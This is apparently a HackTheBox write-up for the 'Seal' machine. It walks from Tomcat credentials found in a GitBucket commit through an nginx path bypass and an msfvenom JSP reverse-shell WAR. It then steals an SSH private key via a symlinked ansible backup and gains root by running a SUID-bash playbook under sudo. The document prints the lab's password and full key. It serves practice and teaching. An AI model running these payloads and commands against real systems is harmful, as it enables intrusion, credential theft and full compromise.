Seal is a medium rated machine on HackTheBox by MrR3boot. For the user part we will find the default credentials for a tomcat installation inside a GitBucket repository and bypass mutual authentication by breaking the path parser logic. Once logged in we’ll deploy a war file to gain a reverse shell and abuse a running ansible task to retrieve the user Luis’s private ssh key. Getting to root is rather quick, since Luis can run ansible playbook as root on any configuration file.
User
Nmap
As usual we start our enumeration with an nmap scan against all ports, followed by a script and version detection scan against the open ones to get a first overview of the attack surface.
All ports scan
1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.173.76
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-10 22:10 UTC
Nmap scan report for seal.htb (10.129.173.76)
Host is up (0.18s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 56.39 seconds
Script version scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
$ sudo nmap -p22,443,8080 -sC -sV 10.129.173.76
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-10 22:12 UTC
Nmap scan report for seal.htb (10.129.173.76)
Host is up (0.026s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
| 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after: 2022-05-05T10:24:03
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 401 Unauthorized
| Date: Sat, 10 Jul 2021 22:13:37 GMT
| Set-Cookie: JSESSIONID=node0uyekijx4hhjj13e8nnumpt4g44.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| GetRequest:
| HTTP/1.1 401 Unauthorized
| Date: Sat, 10 Jul 2021 22:13:37 GMT
| Set-Cookie: JSESSIONID=node0zx1xl1agz8wm1ch9di6xl35qx2.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Sat, 10 Jul 2021 22:13:37 GMT
| Set-Cookie: JSESSIONID=node0iaeb813wctan1880ppwftelg3.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| Socks4:
| HTTP/1.1 400 Illegal character CNTL=0x4
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
| Socks5:
| HTTP/1.1 400 Illegal character CNTL=0x5
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...[snip]...
SF:ent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20
SF:400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pre>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.26 seconds
GitBucket && Tomcat
Going over to port 443 we see a vegetable shop, but poking at it there does not seem to be any appearent vulnerability at hand.
What looks a lot more interesting is the GitBucket installation on port 8080. We are able to register a new user and log in afterwards.
Being logged in we can see activities in two different repositories seal_market
and infra
.
Seal_market
has a current issue open between Alex and Luis about implementing mutual authentication for tomcat.
Looking at the tomcat-users.xml
we see it does currently not feature a password for the installation. Going back in the commit history we might be able to retrieve the password though in an earlier commit.
Opening the inital tomcat commit we are indeed lucky and can retrieve the credentials tomcat:42MrHBf*z8{Z%
.
Browsing to the standard managar url though gives us a 403 access denied error, which makes it seem that mutual authentication has indeed been enabled.
The actual reason for this can be found in seal_market/nginx/sites-available/default
, which states to show a 403 on /manager/html
if client TLS auth is not successful.
Accessing the page directly at /manager/html
seems impossible because of the needed client certificate. We can however modify the path following this PoC by adding a /;/
between /manager
and html
. This prompts us with a http basic auth where we enter the earlier found credentials.
Logged in in the dashboard we can deploy a war file, which get’s unzipped to a jsp and gives us remote code execution.
In a first step we generate our war file with msfvenom pointing to our vpn ip.
1
2
3
4
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.68 LPORT=7575 -f war -o sm.war
Payload size: 1092 bytes
Final size of war file: 1092 bytes
Saved as: sm.war
After selecting our file we set burp to intercept the next request and click on deploy.
In burp we also change the url like before putting /;/
between manager
and html
.
Next we set up a listener on the port we specified before.
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
We can trigger the uploaded shell by simply clicking on it.
Almost instantly we get a shell as the tomcat user back on our nc listener, which we upgrade and fix the terminals size.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.173.76.
Ncat: Connection from 10.129.173.76:47312.
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@seal:/var/lib/tomcat9$ export TERM=xterm
export TERM=xterm
tomcat@seal:/var/lib/tomcat9$ ^Z
[1]+ Stopped nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575
tomcat@seal:/var/lib/tomcat9$ stty rows 55 cols 236
Ansible playbook
Looking around we find a file that looks just like an ansible-playbook
configuration file.
/opt/backups/playbook/run.yml
1
2
3
4
5
6
7
8
9
10
11
12
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup--.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/
What it does is copy all files from /var/lib/tomcat9/webapps/ROOT/admin/dashboard
to /opt/backups/files
including symbolically linked ones. Then it compresses them to a tar.gz
file and saves it under /opt/backups/archives
.
Looking in this directory it seems the configuration file is actively being run by the user Luis since the created files are owned by him.
1
2
tomcat@seal:/var/lib/tomcat9$ ls -la /opt/backups/archives/*
-rw-rw-r-- 1 luis luis 606055 Jul 10 22:45 /opt/backups/archives/backup-2021-07-10-22:45:33.gz
To exploit this we need a place to write under /var/lib/tomcat9/webapps/ROOT/admin/dashboard
. Luckily for us we have write access on the uploads folder.
1
2
3
4
5
6
7
8
9
10
tomcat@seal:/var/lib/tomcat9$ ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard
total 100
drwxr-xr-x 7 root root 4096 May 7 09:26 .
drwxr-xr-x 3 root root 4096 May 6 10:48 ..
drwxr-xr-x 5 root root 4096 Mar 7 2015 bootstrap
drwxr-xr-x 2 root root 4096 Mar 7 2015 css
drwxr-xr-x 4 root root 4096 Mar 7 2015 images
-rw-r--r-- 1 root root 71744 May 6 10:42 index.html
drwxr-xr-x 4 root root 4096 Mar 7 2015 scripts
drwxrwxrwx 2 root root 4096 Jul 10 22:00 uploads
Now we just need to choose what we want to link. For this we can take any file Luis has read access to. Looking in his home directory we can see an existing .ssh
folder which might contain an id_rsa
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
tomcat@seal:/var/lib/tomcat9$ ls -la /home/luis/
total 51332
drwxr-xr-x 9 luis luis 4096 Jul 10 20:52 .
drwxr-xr-x 3 root root 4096 May 5 12:52 ..
drwxrwxr-x 3 luis luis 4096 May 7 06:00 .ansible
lrwxrwxrwx 1 luis luis 9 May 5 12:57 .bash_history -> /dev/null
-rw-r--r-- 1 luis luis 220 May 5 12:52 .bash_logout
-rw-r--r-- 1 luis luis 3797 May 5 12:52 .bashrc
drwxr-xr-x 3 luis luis 4096 May 7 07:00 .cache
drwxrwxr-x 3 luis luis 4096 May 5 13:45 .config
drwxrwxr-x 6 luis luis 4096 Jul 10 20:23 .gitbucket
-rw-r--r-- 1 luis luis 52497951 Jan 14 02:51 gitbucket.war
drwxrwxr-x 3 luis luis 4096 May 5 13:41 .java
drwxrwxr-x 3 luis luis 4096 May 5 14:33 .local
-rw-r--r-- 1 luis luis 807 May 5 12:52 .profile
-rw-rw-r-- 1 luis luis 154 Jul 10 20:52 run.yml
drwx------ 2 luis luis 4096 May 7 06:10 .ssh
-rw-rw-r-- 1 luis luis 152 Jul 10 20:50 test
-r-------- 1 luis luis 33 Jul 10 20:24 user.txt
-rw------- 1 luis luis 2241 Jul 10 20:52 .viminfo
To exploit it we create symbolic link to the key in the uploads
directory and wait about one minute.
1
tomcat@seal:/var/lib/tomcat9$ ln -s /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/key
As soon as a new backup has been created we move it to a new directory under /tmp
since the archives
directory seems to be cleaned up every 5 minutes.
1
2
3
4
5
tomcat@seal:/var/lib/tomcat9$ ls -la /opt/backups/archives/*
-rw-rw-r-- 1 luis luis 606055 Jul 10 22:45 /opt/backups/archives/backup-2021-07-10-22:45:33.gz
-rw-rw-r-- 1 luis luis 606055 Jul 10 22:46 /opt/backups/archives/backup-2021-07-10-22:46:33.gz
-rw-rw-r-- 1 luis luis 606055 Jul 10 22:47 /opt/backups/archives/backup-2021-07-10-22:47:33.gz
-rw-rw-r-- 1 luis luis 608910 Jul 10 22:48 /opt/backups/archives/backup-2021-07-10-22:48:33.gz
1
2
tomcat@seal:/var/lib/tomcat9$ mkdir /tmp/exfil
tomcat@seal:/var/lib/tomcat9$ cp /opt/backups/archives/backup-2021-07-10-22:48:33.gz /tmp/exfil/
Once copied we can extract the file and see that the id_rsa file was indeed present in Luis’s home directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
tomcat@seal:/var/lib/tomcat9$ cd /tmp/exfil/
tomcat@seal:/tmp/exfil$ mv backup-2021-07-10-22\:48\:33.gz archive.tar.gz
tomcat@seal:/tmp/exfil$ tar -xzvf archive.tar.gz
dashboard/
dashboard/scripts/
dashboard/images/
dashboard/css/
dashboard/uploads/
dashboard/bootstrap/
dashboard/index.html
...[snip]...
dashboard/uploads/key
...[snip]...
/tmp/exfil/dashboard/uploads/key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
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
u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=
-----END OPENSSH PRIVATE KEY-----
We can use this key now to log in as Luis and grab the user flag after setting the correct permissions on it.
1
2
3
4
5
6
7
8
9
10
11
12
$ vi id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa luis@10.129.173.76
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
...[snip]...
Last login: Sat Jul 10 20:42:12 2021 from 10.10.14.68
-bash-5.0$ ls
gitbucket.war run.yml test user.txt
-bash-5.0$ wc -c user.txt
33 user.txt
Root
Looking at sudo permissions, we see that Luis can run ansible-playbook
on any configuration file which gives us a quick way to get to root.
1
2
3
4
5
6
-bash-5.0$ sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
First we create a yaml config which gives bash the suid bit on the target machine.
sm.yml
1
2
3
4
5
6
7
8
---
- name: "whatever"
hosts: localhost
connection: local
tasks:
- name: "whatever"
shell: "chmod +s /bin/bash"
register: "output"
Then we run ansible-playbook
on the file with sudo.
1
2
3
4
5
bash-5.0$ sudo /usr/bin/ansible-playbook ./sm.yml
...[snip]...
PLAY RECAP *********************************************************************************************************************************************************************************************************************************
localhost : ok=2 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
Checking bash again we see that it has now the suid bit set.
1
2
-bash-5.0$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18 2020 /bin/bash
Which means we can simply drop in a rootshell and read the flag.
1
2
3
4
-bash-5.0$ /bin/bash -p
bash-5.0# id
uid=1000(luis) gid=1000(luis) euid=0(root) egid=0(root) groups=0(root),1000(luis)
bash-5.0# wc -c /root/root.txt